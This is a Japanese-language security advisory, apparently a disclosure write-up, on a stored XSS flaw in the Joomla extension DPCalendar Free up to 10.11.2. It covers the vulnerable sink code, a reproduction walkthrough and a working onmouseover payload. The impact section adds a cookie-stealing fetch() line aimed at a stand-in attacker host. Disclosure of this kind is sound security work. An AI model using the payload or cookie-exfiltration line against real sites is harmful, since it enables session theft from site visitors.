
DPCalendar Free ≤ 10.11.2 — Authorロールのユーザーがコンテンツレビューを迂回し、ロケーションタイトルを介して永続的XSSを注入。任意の訪問者がホバーした際に発動
$location->title フィールドは、default_locations.php 内で htmlspecialchars() を使用せずにレンダリングされます。Joomla のサーバーサイド InputFilter::clean() は文字列フィールドから < と を除去しますが、 は許可するため、AuthorロールのユーザーがHTML属性コンテキストから抜け出すことが可能です。訪問者がイベントページのロケーション情報セクションにカーソルを合わせると、注入された ハンドラがそのブラウザセッション内で任意のJavaScriptを実行します。
>"onmouseover2つ目の設計上の欠陥が影響を増幅させます。EventController::allowEdit() は created_by == current_user のみをチェックし、イベントの公開状態をチェックしません。Authorは無害なイベントを作成し、管理者に公開させた後、公開後にリンクされたロケーションのタイトルを編集して静かに悪用し、コンテンツレビューを完全に迂回できます。XSSペイロードはモデレーション後に挿入されるため、管理者はレビューサイクル中にそれを確認することはありません。
| コンポーネント | 脆弱性あり | テスト環境 | 修正済み |
|---|---|---|---|
| DPCalendar Free | ≤ 10.11.2 | Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache) | 10.12.0 |
種別: 格納型クロスサイトスクリプティング / 不適切な出力エンコーディング (CWE-79)
必要な認証: Authorロール — フロントエンドユーザー (Joomla グループ 4、イベント作成に必要な最小権限)
ファイル: site/tmpl/event/default_locations.php
$location->title は、default_locations.php 内の2つの出力コンテキストで htmlspecialchars() を使用せずに直接エコーされます。属性コンテキストがWeb UIを介して悪用可能なシンクであり、Joomla の InputFilter は <> をブロックしますが、" はそのまま通過させます。
DEFAULT_LOCATIONS.PHP — 脆弱な出力シンク
// シンク 1 — テキストコンテンツ (HTMLインジェクション; <> はWeb UI経由でInputFilterにより除去)
<span class="dp-location__title"><?php echo $location->title; ?></span>
// シンク 2 — HTML属性 (属性インジェクション; " はInputFilterを通過)
<div class="dp-location__details"
data-title="<?php echo $location->title; ?>"
New Location" onmouseover="alert(document.domain) というタイトル値はサーバーによってそのまま保存されます。出力時に、シンク 2 は次のようにレンダリングされます:
<div class="dp-location__details"
data-title="New Location" onmouseover="alert(document.domain)"
onmouseover 属性は、レンダリングされたDOM内で有効なイベントハンドラになります。
EventController::allowEdit() は、公開状態に関係なく、Author自身のイベントに対する編集アクセスを許可します。攻撃者は、通常のイベントを管理者のレビューに提出して信頼を確立し、管理者による公開後に、リンクされたロケーションを静かに編集してXSSペイロードを注入します:
SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() に状態チェックがない
protected function allowEdit($data = [], $key = 'id')
{
// ...
return $calendar instanceof CalendarInterface &&
($calendar->canEdit() ||
($calendar->canEditOwn() &&
$event->created_by == $this->getCurrentUser()->id));
// ↑ $event->state のチェックなし — 公開済みイベントもAuthorによる編集が可能
}
フロントエンドのログインフォームに移動し、Authorアカウント (Joomla グループ 4 — イベントとロケーションの作成に必要な最小権限) でログインします。

/index.php?option=com_dpcalendar&view=form に移動します。クリーンなタイトルでイベントを作成し、既存のロケーション (例: 「Greater London」) を添付します。これにより、ペイロードが導入される前にAuthorの正当性が確立されます。


イベントはレビューのために提出されます。管理者がログインし、DPCalendar バックエンドから公開します。イベントは公開され、すべてのサイト訪問者に表示されます。

Authorとして、公開されたイベントページに移動します。イベントの編集 ボタンは表示されたままです — allowEdit() は公開状態をチェックしません。イベントの編集 をクリックし、ロケーション タブに移動して、鉛筆アイコンをクリックして locationform を開きます。

ロケーション名をペイロードに置き換えます。Joomla の InputFilter は " を通過させるため、ペイロードはそのまま保存され、出力時にHTML属性コンテキストを破壊します:
ペイロード — タイトルフィールド (LOCATIONFORM)
New Location" onmouseover="alert(document.domain)

保存 をクリックします。
認証済みユーザーか匿名ユーザーかを問わず、イベント詳細ページにアクセスしてロケーション情報セクションにカーソルを移動すると、注入された onmouseover ハンドラが即座に発動します。ページへのアクセス以外に、認証、クリック、追加の操作は不要です。

生のペイロードはイベントページのロケーションセクションに表示されます — エスケープされていないタイトルが有効なHTML属性としてレンダリングされます:

ロケーションセクションにカーソルを合わせると、匿名訪問者のブラウザでアラートダイアログが発動します:

セッションハイジャック — 注入されたハンドラは、fetch('//attacker.com/?c='+document.cookie) を介して被害者のセッションCookieを外部に送信でき、イベントを閲覧する任意のロールに対して完全なアカウント乗っ取りを可能にします。
永続的でイベントスコープの攻撃対象領域 — ペイロードはロケーションタイトルが手動で修正されるまで永続化します。イベントページにアクセスするすべてのユーザー (匿名訪問者を含む) が影響を受けます。トラフィックの多いイベント (公開カンファレンス、予約ページ) では被害者数が増幅されます。
公開後の信頼バイパス — Authorは管理者の承認後にロケーションを静かに変更できるため、ペイロードがコンテンツレビュー中に確認されることはありません。無害なイベントはモデレーションを通過し、XSSはその後挿入されます。